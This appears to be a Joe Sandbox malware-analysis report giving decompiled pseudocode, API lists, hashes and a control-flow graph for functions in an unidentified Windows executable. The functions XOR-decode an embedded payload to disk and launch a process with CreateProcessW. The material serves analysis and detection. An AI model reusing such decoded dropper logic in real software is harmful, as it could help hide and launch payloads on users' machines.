                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 48322524-0
                                                                                                                                                                            • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                            • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                            • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 86%
                                                                                                                                                                            			E00452788(void* __eflags, void* __fp0, char _a4, intOrPtr _a8, WCHAR* _a12, char _a20, char _a24, char _a28, char _a32, char _a36, int _a40, int _a44, int _a48, int _a52, int _a56, int _a60, int _a64, int _a68, char _a72, int _a76, int _a80, short _a84, char _a594, short _a606, int _a1144, int _a1156, char _a1160, short _a1164, char _a1692, char _a1704, char _a1908, char _a2436, char _a2956, char _a2968, char _a3484, char _a4004, char _a4512, char _a4524) {
				int _v0;
				intOrPtr _v4;
				int _v8;
				signed int _v12;
				char _v13;
				intOrPtr _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t111;
				int _t112;
				int _t131;
				intOrPtr _t134;
				int _t137;
				int _t149;
				signed int _t161;
				signed char _t162;
				intOrPtr _t204;
				intOrPtr _t205;
				intOrPtr _t237;
				signed int _t240;
				intOrPtr* _t247;
				void* _t254;
				signed int _t255;
				void* _t258;
				void* _t261;
				void* _t264;
				void* _t267;

				_t270 = __fp0;
				_t267 = __eflags;
				E00425210(0x111bc);
				_t247 = _a4;
				_t237 = _a8;
				_a48 = 0;
				_a52 = 0;
				_a56 = 0;
				_a60 = 0;
				_a64 = 0;
				_a68 = 0;
				_a72 = 0;
				_a76 = 0;
				_a80 = 0;
				_a84 = 0;
				_a606 = 0;
				_a1156 = 0;
				E004431E0(0, 0, _t267, __fp0,  &_a1704);
				_push(0);
				_push( *((intOrPtr*)(_t247 + 4)));
				_push( *_t247);
				_a12 = 1;
				E0041557C(0,  &_a1704, _t237, _t247, _t267); // executed
				_t111 = E004133E4(_t237, "*");
				_t258 = (_t255 & 0xfffffff8) + 0x14;
				if(_t111 != 0) {
					_push( &_a2968);
					_push(_t237);
					_push(_t247);
					_t112 = E004523CE();
					__eflags = _t112;
					if(_t112 != 0) {
						goto L2;
					} else {
						goto L5;
					}
				} else {
					_push( &_a2968);
					_push(_t237);
					_push(_t247);
					if(E004523CE() == 0) {
						E00413DB0(_a12,  &_a12,  &_a4004,  &_a3484,  &_a2436);
						E00411691( &_a1908,  &_a12);
						E00411663( &_a1908,  &_a4004);
						E00413DB0( &_a2956,  &_a12,  &_a4004,  &_a3484,  &_a2436);
						E00411663( &_a1908,  &_a3484);
						E00411663( &_a1908,  &_a2436);
						_t258 = _t258 + 0x48;
						_a12 =  &_a1908;
						L5:
						E004151B0( &_v13, 1, 1,  *_t247);
						E004151B0( &_v12, 4, 1,  *_t247);
						_t240 = _v12 ^ 0x000087bc;
						_v8 = _t240;
						E004151B0( &_v12, 4, 1,  *_t247);
						E004151B0( &_v12, 4, 1,  *_t247);
						_a12 = _v12 ^ 0x0000a685;
						E004151B0( &_a24, 4, 1,  *_t247);
						E004151B0( &_a20, 4, 1,  *_t247);
						E004151B0( &_a32, 4, 1,  *_t247);
						E004151B0( &_a28, 4, 1,  *_t247);
						E00434FA9( &_a1164);
						_t131 = E00414E06( &_a1160, L"wb"); // executed
						_t261 = _t258 + 0x88;
						_v8 = _t131;
						__eflags = _t131;
						if(_t131 != 0) {
							_t220 =  *((intOrPtr*)(_t247 + 8)) + 0x2477;
							E0044313A(0, _t270,  &_a1692,  *((intOrPtr*)(_t247 + 8)) + 0x2477);
							_t134 = 0;
							__eflags = _t240;
							if(__eflags > 0) {
								while(1) {
									_t58 = _t134 + 0x10000; // 0x10000
									__eflags = _t58 - _t240;
									if(_t58 <= _t240) {
										_t240 = 0x10000;
									} else {
										_t240 = _t240 - _t134;
									}
									_a8 = _t134 + _t240;
									E004151B0( &_a4524, 1, _t240,  *_t247); // executed
									_t264 = _t261 + 0x10;
									__eflags = _t240;
									_v0 = 0;
									if(__eflags <= 0) {
										goto L15;
									} else {
										goto L14;
									}
									do {
										L14:
										_t162 = E004431B2(__eflags, _t270,  &_a1692);
										_t204 = _v4;
										 *(_t264 + _t204 + 0x11c8) =  *(_t264 + _t204 + 0x11c8) ^ _t162;
										_t205 = _t204 + 1;
										__eflags = _t205 - _t240;
										_v4 = _t205;
									} while (__eflags < 0);
									L15:
									_push(_t240);
									_push( &_a4524);
									_push( &_a4);
									E0043535D();
									_push(_v16);
									_push(_t240);
									_t220 =  &_a4512;
									_push(1);
									_push( &_a4512); // executed
									E004146CE(0,  &_a4512, _t240, _t247, __eflags); // executed
									_t161 = _v20;
									_t261 = _t264 + 0x10;
									__eflags = _v4 - _t161;
									if(__eflags < 0) {
										_t240 = _t161;
										_t134 = _v4;
										continue;
									}
									goto L16;
								}
							}
							L16:
							_push(_v4); // executed
							E00414E94(0, _t220, _t240, _t247, __eflags); // executed
							__eflags = _a12 - _a4;
							if(_a12 == _a4) {
								__eflags = _v13 - 1;
								if(_v13 != 1) {
									_t137 = CopyFileW( &_a1164, _a12, 0); // executed
									__eflags = _t137;
									if(_t137 != 0) {
										goto L23;
									} else {
										DeleteFileW( &_a1164);
										return 7;
									}
								} else {
									_a72 = 0;
									_a36 = 0;
									_a40 = 0;
									_a44 = 0;
									_a48 = 0;
									_a52 = 0;
									_a64 = 0;
									_a68 = 0;
									_a594 = 0;
									_a1144 = 0;
									_a56 = 0;
									_a60 = 0;
									E00411691( &_a72,  &_a1164);
									E00411691( &_a594, _a12);
									_t149 = E0044B195(_a12, _t240, _t254,  &_a36);
									__eflags = _t149;
									if(_t149 == 0) {
										L23:
										DeleteFileW( &_a1164); // executed
										E00434F66(_a12,  &_a20,  &_a28);
										__eflags = 0;
										return 0;
									} else {
										DeleteFileW( &_a1164);
										return 0xb;
									}
								}
							} else {
								DeleteFileW( &_a1164);
								return 0xa;
							}
						} else {
							return 9;
						}
					} else {
						L2:
						return 6;
					}
				}
			}

































                                                                                                                                                                            0x00452788
                                                                                                                                                                            0x00452788
                                                                                                                                                                            0x00452793
                                                                                                                                                                            0x0045279c
                                                                                                                                                                            0x004527a0
                                                                                                                                                                            0x004527af
                                                                                                                                                                            0x004527b3
                                                                                                                                                                            0x004527b7
                                                                                                                                                                            0x004527bb
                                                                                                                                                                            0x004527bf
                                                                                                                                                                            0x004527c3
                                                                                                                                                                            0x004527c7
                                                                                                                                                                            0x004527cb
                                                                                                                                                                            0x004527cf
                                                                                                                                                                            0x004527d3
                                                                                                                                                                            0x004527d8
                                                                                                                                                                            0x004527e0
                                                                                                                                                                            0x004527e7
                                                                                                                                                                            0x004527f1
                                                                                                                                                                            0x004527f2
                                                                                                                                                                            0x004527f3
                                                                                                                                                                            0x004527f4
                                                                                                                                                                            0x004527fc
                                                                                                                                                                            0x0045280a
                                                                                                                                                                            0x0045280f
                                                                                                                                                                            0x00452814
                                                                                                                                                                            0x004528f8
                                                                                                                                                                            0x004528f9
                                                                                                                                                                            0x004528fa
                                                                                                                                                                            0x004528fb
                                                                                                                                                                            0x00452900
                                                                                                                                                                            0x00452902
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045281a
                                                                                                                                                                            0x00452821
                                                                                                                                                                            0x00452822
                                                                                                                                                                            0x00452823
                                                                                                                                                                            0x0045282b
                                                                                                                                                                            0x0045285c
                                                                                                                                                                            0x00452871
                                                                                                                                                                            0x00452886
                                                                                                                                                                            0x004528b0
                                                                                                                                                                            0x004528c8
                                                                                                                                                                            0x004528dd
                                                                                                                                                                            0x004528e9
                                                                                                                                                                            0x004528ec
                                                                                                                                                                            0x00452908
                                                                                                                                                                            0x00452914
                                                                                                                                                                            0x00452925
                                                                                                                                                                            0x00452939
                                                                                                                                                                            0x00452940
                                                                                                                                                                            0x00452944
                                                                                                                                                                            0x00452955
                                                                                                                                                                            0x00452972
                                                                                                                                                                            0x00452976
                                                                                                                                                                            0x00452987
                                                                                                                                                                            0x00452998
                                                                                                                                                                            0x004529a9
                                                                                                                                                                            0x004529b9
                                                                                                                                                                            0x004529cb
                                                                                                                                                                            0x004529d0
                                                                                                                                                                            0x004529d3
                                                                                                                                                                            0x004529d7
                                                                                                                                                                            0x004529d9
                                                                                                                                                                            0x004529ec
                                                                                                                                                                            0x004529fb
                                                                                                                                                                            0x00452a00
                                                                                                                                                                            0x00452a02
                                                                                                                                                                            0x00452a04
                                                                                                                                                                            0x00452a12
                                                                                                                                                                            0x00452a12
                                                                                                                                                                            0x00452a18
                                                                                                                                                                            0x00452a1a
                                                                                                                                                                            0x00452a20
                                                                                                                                                                            0x00452a1c
                                                                                                                                                                            0x00452a1c
                                                                                                                                                                            0x00452a1c
                                                                                                                                                                            0x00452a2b
                                                                                                                                                                            0x00452a39
                                                                                                                                                                            0x00452a3e
                                                                                                                                                                            0x00452a41
                                                                                                                                                                            0x00452a43
                                                                                                                                                                            0x00452a47
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452a49
                                                                                                                                                                            0x00452a49
                                                                                                                                                                            0x00452a51
                                                                                                                                                                            0x00452a56
                                                                                                                                                                            0x00452a5a
                                                                                                                                                                            0x00452a61
                                                                                                                                                                            0x00452a62
                                                                                                                                                                            0x00452a64
                                                                                                                                                                            0x00452a64
                                                                                                                                                                            0x00452a6a
                                                                                                                                                                            0x00452a6a
                                                                                                                                                                            0x00452a72
                                                                                                                                                                            0x00452a77
                                                                                                                                                                            0x00452a78
                                                                                                                                                                            0x00452a81
                                                                                                                                                                            0x00452a82
                                                                                                                                                                            0x00452a83
                                                                                                                                                                            0x00452a8a
                                                                                                                                                                            0x00452a8c
                                                                                                                                                                            0x00452a8d
                                                                                                                                                                            0x00452a92
                                                                                                                                                                            0x00452a96
                                                                                                                                                                            0x00452a99
                                                                                                                                                                            0x00452a9d
                                                                                                                                                                            0x00452a0c
                                                                                                                                                                            0x00452a0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452a0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452a9d
                                                                                                                                                                            0x00452a12
                                                                                                                                                                            0x00452aa3
                                                                                                                                                                            0x00452aa7
                                                                                                                                                                            0x00452aa8
                                                                                                                                                                            0x00452ab4
                                                                                                                                                                            0x00452ab8
                                                                                                                                                                            0x00452ad6
                                                                                                                                                                            0x00452adb
                                                                                                                                                                            0x00452b7a
                                                                                                                                                                            0x00452b80
                                                                                                                                                                            0x00452b82
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452b84
                                                                                                                                                                            0x00452b8c
                                                                                                                                                                            0x00452b9d
                                                                                                                                                                            0x00452b9d
                                                                                                                                                                            0x00452ae1
                                                                                                                                                                            0x00452aea
                                                                                                                                                                            0x00452af7
                                                                                                                                                                            0x00452afb
                                                                                                                                                                            0x00452aff
                                                                                                                                                                            0x00452b03
                                                                                                                                                                            0x00452b07
                                                                                                                                                                            0x00452b0b
                                                                                                                                                                            0x00452b0f
                                                                                                                                                                            0x00452b13
                                                                                                                                                                            0x00452b1b
                                                                                                                                                                            0x00452b22
                                                                                                                                                                            0x00452b26
                                                                                                                                                                            0x00452b2a
                                                                                                                                                                            0x00452b3b
                                                                                                                                                                            0x00452b48
                                                                                                                                                                            0x00452b4d
                                                                                                                                                                            0x00452b4f
                                                                                                                                                                            0x00452ba0
                                                                                                                                                                            0x00452ba8
                                                                                                                                                                            0x00452bbc
                                                                                                                                                                            0x00452bc3
                                                                                                                                                                            0x00452bc9
                                                                                                                                                                            0x00452b51
                                                                                                                                                                            0x00452b59
                                                                                                                                                                            0x00452b6a
                                                                                                                                                                            0x00452b6a
                                                                                                                                                                            0x00452b4f
                                                                                                                                                                            0x00452aba
                                                                                                                                                                            0x00452ac2
                                                                                                                                                                            0x00452ad3
                                                                                                                                                                            0x00452ad3
                                                                                                                                                                            0x004529db
                                                                                                                                                                            0x004529e6
                                                                                                                                                                            0x004529e6
                                                                                                                                                                            0x0045282d
                                                                                                                                                                            0x0045282d
                                                                                                                                                                            0x00452838
                                                                                                                                                                            0x00452838
                                                                                                                                                                            0x0045282b

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                                            • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                                            • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                                            • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                                            • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2054058615-0
                                                                                                                                                                            • Opcode ID: fca6871fc438cd09737a40d2a56c46a9e131252df8d25f8d43c5aa3db63b0c01
                                                                                                                                                                            • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                                            • Opcode Fuzzy Hash: fca6871fc438cd09737a40d2a56c46a9e131252df8d25f8d43c5aa3db63b0c01
                                                                                                                                                                            • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00463F19 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 396processCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 88 463f19-463f78 call 4131f0 91 463fc4-463fc8 88->91 92 463f7a-463f8d call 40c760 88->92 93 463ff1-463ff5 91->93 94 463fca-463fed call 40c760 * 2 91->94 100 463fb6-463fba 92->100 101 463f8f-463fb2 call 40c760 * 2 92->101 97 463ff7-463ffa 93->97 98 46400a-464010 93->98 94->93 105 463ffd-464002 call 40c760 97->105 102 464012 98->102 103 46401a-46402f call 453081 call 40fff0 98->103 100->98 109 463fbc-463fc2 100->109 101->100 102->103 119 464176-46417e 103->119 120 464035-464082 call 453081 call 40fff0 call 453081 call 40fff0 call 453081 call 40fff0 103->120 105->98 109->105 121 464180-464197 call 453081 call 40fff0 119->121 122 4641aa-4641dc GetCurrentDirectoryW call 41171a GetCurrentDirectoryW 119->122 164 464084-46409d call 453081 call 40fff0 120->164 165 4640ac-4640dc GetSystemDirectoryW call 41171a GetSystemDirectoryW 120->165 121->122 137 464199-4641a4 call 4112d5 121->137 130 464107 122->130 133 46410b-46411c call 43574b 130->133 144 46411e-464137 call 443b47 133->144 145 46416f-464174 133->145 137->122 137->133 156 46413e-464152 call 443b14 144->156 157 464139 144->157 147 4641f3-4641f7 145->147 150 4642a7-4642d2 CreateProcessW 147->150 151 4641fd-464238 call 4464dc call 4112d5 147->151 155 4642d5-4642ed call 4112ef * 2 150->155 177 464243-464250 call 4112d5 151->177 178 46423a-464241 151->178 180 464341-464353 CloseHandle 155->180 181 4642ef-46433e call 4040e0 GetLastError call 404120 call 4092c0 call 44b87e 155->181 168 464154 156->168 169 464159-46416d call 443aff 156->169 157->156 164->165 199 46409f-4640aa call 4112d5 164->199 179 4640de-464103 call 40e6d0 * 3 165->179 168->169 169->145 187 4641e1-4641e6 169->187 192 464262-464275 call 4112d5 177->192 193 464252 177->193 178->177 178->178 179->130 189 464385-464389 180->189 190 464355-464380 call 443a7f call 44b7ca call 44a4e6 180->190 187->147 195 4641e8 187->195 196 4643ad-4643b7 189->196 197 46438b-4643aa call 44b87e 189->197 190->189 218 464277 192->218 219 464282-4642a5 call 4112ef * 3 192->219 202 464259-464260 193->202 195->147 207 4643bf-4643f1 call 4092c0 CloseHandle call 44b87e 196->207 208 4643b9 196->208 199->165 199->179 202->192 202->202 208->207 224 464279-464280 218->224 219->155 224->219 224->224
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E00463F19(void* __eflags, signed int __fp0, intOrPtr* _a4, char _a8, char _a12, intOrPtr _a16, WCHAR** _a20) {
				struct _STARTUPINFOW _v76;
				void* _v116;
				struct _PROCESS_INFORMATION _v132;
				signed int _v140;
				long _v144;
				long _v148;
				long _v152;
				long _v156;
				WCHAR* _v160;
				WCHAR* _v164;
				char* _v168;
				signed int _v169;
				signed int _v170;
				intOrPtr _v172;
				intOrPtr _v176;
				char _v205;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t148;
				long _t149;
				WCHAR* _t152;
				signed int _t158;
				void* _t189;
				void* _t190;
				void* _t191;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t198;
				signed int _t202;
				intOrPtr _t212;
				WCHAR* _t216;
				intOrPtr _t224;
				void* _t225;
				signed int _t230;
				signed int _t237;
				signed int _t238;
				signed int _t261;
				signed int _t262;
				char* _t264;
				signed int _t271;
				intOrPtr _t274;
				signed int _t303;
				signed int _t306;
				intOrPtr _t307;
				int _t315;
				intOrPtr _t321;
				WCHAR* _t323;
				signed int* _t324;
				WCHAR** _t328;
				signed int _t330;
				void* _t333;
				void* _t334;
				void* _t337;
				void* _t338;
				void* _t339;
				void* _t351;
				signed int _t366;

				_t366 = __fp0;
				_t321 = _a16;
				_t303 = 0;
				E004131F0(0,  &_v76, 0, 0x44);
				_t333 = (_t330 & 0xfffffff8) - 0xac + 0xc;
				_t237 = 0;
				_v76.cb = 0x44;
				_v76.dwFlags = 1;
				_v76.wShowWindow = 1;
				_v144 = 0;
				_v168 = 0;
				_v148 = 0;
				_v152 = 0;
				_v156 = 0;
				if(_a12 == 0) {
					__eflags =  *((intOrPtr*)(_t321 + 8)) - 3;
					if( *((intOrPtr*)(_t321 + 8)) > 3) {
						_t303 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0xc))) & 0xffff0000;
						_t230 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0xc))) & 0x0000ffff;
						__eflags = _t230;
						_v152 = _t230;
					}
					__eflags =  *((intOrPtr*)(_t321 + 8)) - 2;
					if( *((intOrPtr*)(_t321 + 8)) <= 2) {
						goto L10;
					} else {
						_t274 =  *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 8));
						goto L9;
					}
				} else {
					_v148 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0xc)));
					if( *((intOrPtr*)(_t321 + 8)) > 7) {
						_t303 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0x1c))) & 0xffff0000;
						_v152 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0x1c))) & 0x0000ffff;
					}
					if( *((intOrPtr*)(_t321 + 8)) <= 6) {
						L10:
						_t347 = _t303 & 0x00010000;
						if((_t303 & 0x00010000) != 0) {
							_v156 = 0x10;
						}
						_t148 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4))))), _t347);
						_t348 = _a12 - _t237;
						if(_a12 == _t237) {
							__eflags =  *((intOrPtr*)(_t321 + 8)) - 1;
							_v160 = _t148;
							if(__eflags <= 0) {
								L29:
								_t149 = GetCurrentDirectoryW(0, 0);
								_t84 = 1 + _t149; // 0x1
								_push( ~(0 | __eflags > 0x00000000) | _t84 * 0x00000002);
								_t152 = E0041171A(_t237,  *0x482338, __eflags);
								_t334 = _t333 + 4;
								_v164 = _t152;
								GetCurrentDirectoryW(_t149, _t152);
								goto L18;
							}
							_t323 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 4))), __eflags);
							__eflags = _t323;
							if(__eflags == 0) {
								goto L29;
							}
							_t202 = E004112D5(_t323);
							_t334 = _t333 + 4;
							__eflags = _t202;
							if(__eflags != 0) {
								goto L19;
							}
							goto L29;
						} else {
							_v140 = _t148;
							_v148 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 4))), _t348);
							_v176 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 8))), _t348);
							_t212 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0x10))), _t348);
							_t349 =  *((intOrPtr*)(_t321 + 8)) - 5;
							_v172 = _t212;
							if( *((intOrPtr*)(_t321 + 8)) <= 5) {
								L16:
								_t315 = GetSystemDirectoryW(0, 0);
								_t53 = 1 + _t315; // 0x1
								_t271 =  ~(0 | _t351 > 0x00000000) | _t53 * 0x00000002;
								_t352 = _t271;
								_push(_t271);
								_t216 = E0041171A( *0x4822d0, _t315, _t271);
								_t334 = _t333 + 4;
								_v164 = _t216;
								GetSystemDirectoryW(_t216, _t315);
								L17:
								E0040E6D0( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)))), _t352);
								E0040E6D0( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 4)), _t352);
								E0040E6D0( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 8)), _t352);
								_t237 = _v140;
								L18:
								_t323 = _v164;
								L19:
								_t306 = _v152;
								E0043574B( &_v116, _t306);
								_t353 = _t306;
								if(_t306 == 0) {
									L25:
									_v170 = 0;
									L32:
									if(_a12 == 0) {
										_t158 = CreateProcessW(0, _v160, 0, 0, _v170 & 0x000000ff, _v156, 0, _t323,  &_v76,  &_v132); // executed
										__eflags = _t158;
										_t114 = _t158 != 0;
										__eflags = _t114;
										_t238 = _t237 & 0xffffff00 | _t114;
										L43:
										E004112EF(_t238, _v160, _t306, _t323, _t363, _v160);
										E004112EF(_t238, _v160, _t306, _t323, _t363, _t323);
										if(_t238 != 0) {
											_t307 =  *0x482308;
											CloseHandle(_v132.hThread);
											__eflags = _v170;
											if(_v170 != 0) {
												E00443A7F( &_v116);
												_v116 = _v132.hThread;
												E0044B7CA(_t238,  &_v116, _t307,  &(_v132.dwThreadId));
												__eflags = _a4 + 0x468;
												E0044A4E6( &(_v132.dwProcessId), _a4 + 0x468,  &(_v132.dwProcessId));
											}
											__eflags = _a8;
											if(_a8 == 0) {
												asm("fild dword [esp+0x40]");
												__eflags = _v132.dwProcessId;
												if(_v132.dwProcessId < 0) {
													_t366 = _t366 +  *0x48c528;
												}
												_t324 = _a20;
												_v140 = _t366;
												E004092C0(_t307, _t324);
												 *_t324 = _v140;
												_t324[2] = 3;
												CloseHandle(_v132.hProcess);
												E0044B87E( &_v116);
												__eflags = 0;
												return 0;
											} else {
												 *(_a4 + 0x450) = _v132;
												E0044B87E( &_v116);
												__eflags = 0;
												return 0;
											}
										} else {
											_t327 = _a4;
											E004040E0( *((intOrPtr*)( *_a4 + 4)) + _a4, 1, 0);
											E00404120( *((intOrPtr*)( *_t327 + 4)) + _t327, GetLastError(), 0);
											_t328 = _a20;
											E004092C0(_t306, _t328);
											_t328[2] = 1;
											 *_t328 = 0;
											E0044B87E( &_v132);
											return 0;
										}
									}
									_t306 = _v144;
									_t292 = _v148;
									_v205 = E004464DC(_t237, _t306, _v168, _v148, _v160, _v156, _t323,  &_v76,  &_v132);
									_t189 = E004112D5(_t237);
									_t337 = _t334 + 4;
									_t261 = _t237;
									if(_t189 == 0) {
										L35:
										_t190 = E004112D5(_t306);
										_t338 = _t337 + 4;
										_t262 = _t306;
										if(_t190 == 0) {
											L38:
											_t191 = E004112D5(_v168);
											_t264 = _v168;
											_t339 = _t338 + 4;
											if(_t191 == 0) {
												L41:
												E004112EF(_t237, _t292, _t306, _t323, _t363, _t237);
												E004112EF(_t237, _t292, _t306, _t323, _t363, _t306);
												E004112EF(_t237, _v168, _t306, _t323, _t363, _v168);
												_t238 = _v169;
												_t334 = _t339 + 0xc;
												goto L43;
											}
											do {
												 *_t264 = 0;
												_t264 = _t264 + 1;
												_t191 = _t191 - 1;
												_t363 = _t191;
											} while (_t191 != 0);
											goto L41;
										}
										do {
											 *_t262 = 0;
											_t262 = 1 + _t262;
											_t190 = _t190 - 1;
										} while (_t190 != 0);
										goto L38;
									} else {
										goto L34;
									}
									do {
										L34:
										 *_t261 = 0;
										_t261 = 1 + _t261;
										_t189 = _t189 - 1;
									} while (_t189 != 0);
									goto L35;
								}
								_v170 = 1;
								_t195 = E00443B47(_t353,  &_v116);
								_v76.hStdInput = _t195;
								_t354 = _t195 - 0xffffffff;
								if(_t195 == 0xffffffff) {
									_v170 = 0;
								}
								_t196 = E00443B14(_t354,  &_v116);
								_v76.hStdOutput = _t196;
								if(_t196 == 0xffffffff) {
									_v170 = 0;
								}
								_t198 = E00443AFF( &_v116);
								_v76.lpReserved2 = _t198;
								if(_t198 != 0xffffffff) {
									__eflags = _v170;
									if(_v170 != 0) {
										_t93 =  &(_v76.dwFlags);
										 *_t93 = _v76.dwFlags | 0x00000100;
										__eflags =  *_t93;
									}
									goto L32;
								} else {
									goto L25;
								}
							}
							_t224 = E0040FFF0(_t237, E00453081( *((intOrPtr*)( *((intOrPtr*)(_t321 + 4)) + 0x14))), _t349);
							_v168 = _t224;
							if(_t224 == 0) {
